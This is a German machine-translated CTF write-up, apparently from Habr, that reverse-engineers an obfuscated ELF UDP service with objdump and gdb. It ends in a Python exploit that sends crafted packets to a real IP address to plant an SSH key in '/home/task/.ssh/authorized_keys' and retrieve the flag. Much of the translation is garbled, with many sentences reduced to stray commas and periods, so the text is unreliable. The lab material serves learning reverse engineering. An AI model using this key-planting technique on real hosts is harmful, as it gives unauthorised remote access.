 # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep fopen 23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (2) # readelf --dyn-syms UwRJ8iaEEd4tSQIe_n24.elf | grep write 32: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (2) 

Die Symboltabelle enthält auch Funktionen zum Arbeiten mit Sockets, zum Erstellen von Prozessen und zum Zählen von MD5.

Die Rückseite der Datei zeigte das Vorhandensein einer großen Anzahl von Sprüngen (eine Art Verschleierung). Gleichzeitig werden Sprünge zwischen Codeblöcken ausgeführt, die im Allgemeinen in verschiedene Typen unterteilt werden können:

  • « OF », ( objdump):

      95b69b: 48 0f 44 c7 cmove rax,rdi 95b69f: 48 83 e7 01 and rdi,0x1 95b6a3: 4d 31 dc xor r12,r11 95b6a6: 71 05 jno 95b6ad <MD5_Final@@Base+0x2d83f9> 95b6a8: e9 f4 bf e1 ff jmp 7776a1 <MD5_Final@@Base+0xf43ed> 95b6ad: e9 1f 1a de ff jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 

    , OF «xor», «and» .
  • , . . , :

     95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc 
  • , .

MD5. , . « MD5_Init », « MD5_Update » « MD5_final ».

, API . , , , , . .

ELF . «/home/task/.ssh/» .

Beim Start müssen Sie den Port angeben. Da wir den serverseitigen Start nicht steuern, dachte ich, dass dieser Parameter ein Dummy ist. Der eigentliche Port sollte einer sein. Netstat zeigte Open Port 5432 (UDP).

 # netstat -ulnp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:5432 0.0.0.0:* 13611/./UwRJ8iaEEd4 

Wenn Sie ein Paket mit Daten an den angegebenen Port senden, wird eine Meldung über deren Überprüfung und einige Daten (4 Byte) vom Dienst angezeigt:
 #echo "test" > /dev/udp/127.0.0.1/5432 # Verifying 74657374 009ec3b8 

Die Aufzählung verschiedener Daten ergab, dass die Ausgabe von ihrem Inhalt abhängt.
Als nächstes wird mit gdb debuggt. Zunächst finde ich heraus, woher wir die Daten beziehen, einen Haltepunkt für Recvfrom und Backtrace. Wir bekommen am Ende die Adresse 0x6ae010.

Übergangskette
 6ae00b: e8 d0 2b d5 ff call 400be0 <recvfrom@plt> 6ae010: e9 64 bc ea ff jmp 559c79 <MD5_Update@@Base+0x953fc> 559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax 559c7c: 83 f8 ff cmp eax,0xffffffff #   ,  -1 559c7f: 0f 84 62 7f 1c 00 je 721be7 <MD5_Final@@Base+0x9e933> 559c85: e9 8a d6 2c 00 jmp 827314 <MD5_Final@@Base+0x1a4060> 827314: 48 c7 c7 30 d1 f0 00 mov rdi,0xf0d130 82731b: 48 29 27 sub QWORD PTR [rdi],rsp 82731e: 48 89 df mov rdi,rbx 827321: e8 5f 94 fe ff call 810785 <MD5_Final@@Base+0x18d4d1> 827326: e9 d7 a5 2d 00 jmp b01902 <MD5_Init@@Base+0x7569> b01902: 85 c0 test eax,eax b01904: 0f 84 dd 02 c2 ff je 721be7 <MD5_Final@@Base+0x9e933> b0190a: e9 7c a9 bb ff jmp 6bc28b <MD5_Final@@Base+0x38fd7> 


Rufen Sie in der Kette die Funktion unter 0x810758 auf und verarbeiten Sie das Ergebnis.
Setzen Sie break auf 0xb01902 und senden Sie das Datenpaket.

Rückkehrcode (Rax-Register)
(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488

Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0

0 . , , 0.

gdb, MD5_Update ( «test»).

Ergebnis
 (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512 


Ergebnis


MD5 wird anhand der von uns gesendeten Nachricht gezählt, die Größe der gelesenen Daten beträgt jedoch 512 Byte. Nachdem ich mit den Daten gespielt hatte, fand ich heraus, dass MD5 aus gesendeten Daten mit Nullen bis zu 512 Bytes gezählt wird. Sie müssen jedoch mindestens 8 Byte senden, um die auf dem Stapel gespeicherte 8-Byte-Nummer zu ersetzen. Anscheinend wurde dort eine Adresse gespeichert. Die vom Dienst für jedes eingehende Paket angezeigten 4 Bytes entsprechen den ersten 3 Bytes der MD5-Summe mit einer zusätzlichen Null.

Ich kehrte zur Funktion 0x810758 und ihrem Rückkehrcode 0 zurück. Der Rückgabewert wird im RAX-Register gespeichert. Um den Rückkehrcode zu bestimmen, habe ich 2 Haltepunkte an der Adresse der Funktion 0x810758 und der Adresse nach ihrer Ausführung 0x827326 gesetzt.

Ich habe die Daten gesendet, der Punkt bei 0x810758 hat funktioniert. Ich habe das Skript in gdb gestartet:

 import gdb with open("flow.log", "w") as fw: while 1: s = gdb.execute("info reg rip", to_string=True) s = s[s.find("0x"):] gdb.execute("ni", to_string=True) address = s.split("\t")[0].strip() fw.write(address + "\r\n") address = int(address, 16) if address == 0x827326: break 

flow.log . , , .
« disasm.log » objdmp « : » .

 F_NAME = "disasm.log" F_FLOW = "flow.log" def prepare_code_flow(f_path): with open(f_path, "rb") as fr: data = fr.readlines() data = filter(lambda x: x, data) start_address = long(data[0].split(":")[0], 16) end_address = long(data[-1].split(":")[0], 16) res = [""] * (end_address - start_address + 1) for _d in data: _d = _d.split(":") res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip() return start_address, res def parse_instruction(code): mnem = code[:7].strip() ops = code[7:].split(",") return [mnem] + ops def process_instruction(code): parse_data = parse_instruction(code) if parse_data[1] in ["rax", "eax", "al"]: return True return False if __name__ == '__main__': # Prepare disassemble data start_address, codes = prepare_code_flow(F_NAME) with open(F_FLOW, "rb") as fr: lines = fr.readlines() lines.reverse() lines = filter(lambda x: x, lines) count = 0 for _l in lines: offset = long(_l.strip(), 16) - start_address if process_instruction(codes[offset]): print str(count) + " " + hex(offset + start_address) + " " + codes[offset] break count += 1 continue 



«» , RAX. Ergebnis:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
. - ( « flow.log »):

 95b6ad: jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337 95b6bc: jne 67c270 <MD5_Update@@Base+0x1b79f3> 

0x95b6b2 – 0x133337. , , [rbp-0x2d4]. «testtest»:

 # echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23 

Passen Sie die ersten 3 Bytes der MD5-Summe an. Die Lösung besteht darin, die MD5-Summe mit den ersten 3 Bytes "\ x37 \ x33 \ x13" zu erhalten.

Ein einfaches Skript, um Zahlen von Null mit der Berechnung in binärer Form MD5 bis zur gewünschten Übereinstimmung zu durchlaufen. Erforderliche Daten zum Senden empfangen. Wir senden Daten und erhalten vom Dienst eine Nachricht über die Ernennung eines neuen Ports für den Datenempfang:

 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0 

Netstat hat diesen Port und tatsächlich keine neuen Ports angezeigt. Aber ps zeigte das Vorhandensein eines beendeten Kinderprozesses (Zombies). Die Idee kam, dass der Port für eine Weile im untergeordneten Prozess geöffnet wird.

Ich habe das notwendige Paket an Port 5432 und danach an Port 14223 gesendet. Und nichts. Der Port hat aufgehört zu öffnen. Als Ergebnis habe ich andere Daten und dementsprechend MD5 mit dem richtigen Start generiert. Nachricht erneut, diesmal jedoch mit einem anderen Port. Nach dem Neustart des Dienstes funktionierte der erste MD5 erneut mit Port 14235. Es bestand die Idee, dass sich der Dienst an den verbrauchten MD5 erinnert. Daher habe ich es jedes Mal getestet, wenn ich den Dienst neu gestartet habe.

Ergebnis
 Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4 


. , …
, (31841) . gdb , «/home/task/.ssh/authorized_keys».

, . , ( , ).

RSA .

SSH, .

MD5-. , ( ). , 4 ( MD5) int , ( ).

, RSA, .
 import socket import time import SocketServer import select d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00'] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) print "Send 1" s.sendto(d[0], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 2" s.sendto(d[1], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 3" s.sendto(d[2], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 4" s.sendto("\x00", ("95.216.185.52", 41357)) time.sleep(0.2) print "Send 5" s.sendto("\x04", ("95.216.185.52", 42381)) # for i in range(256): time.sleep(0.2) print "Send 6" s.sendto("\x02", ("95.216.185.52", 28709)) # Read key with open("ssh_key.txt", "rb") as fr: data = fr.read() print len(data) print "Send 7" s.sendto(data, ("95.216.185.52", 28709)) print s.recvfrom(1500) s.close() 


: flag{a1ec3c43cae4250faa302c412c7cc524}

«OK» .

, , MD5-. , , .

, , 40 , . Vielen Dank.

Source: https://habr.com/ru/post/de440312/


All Articles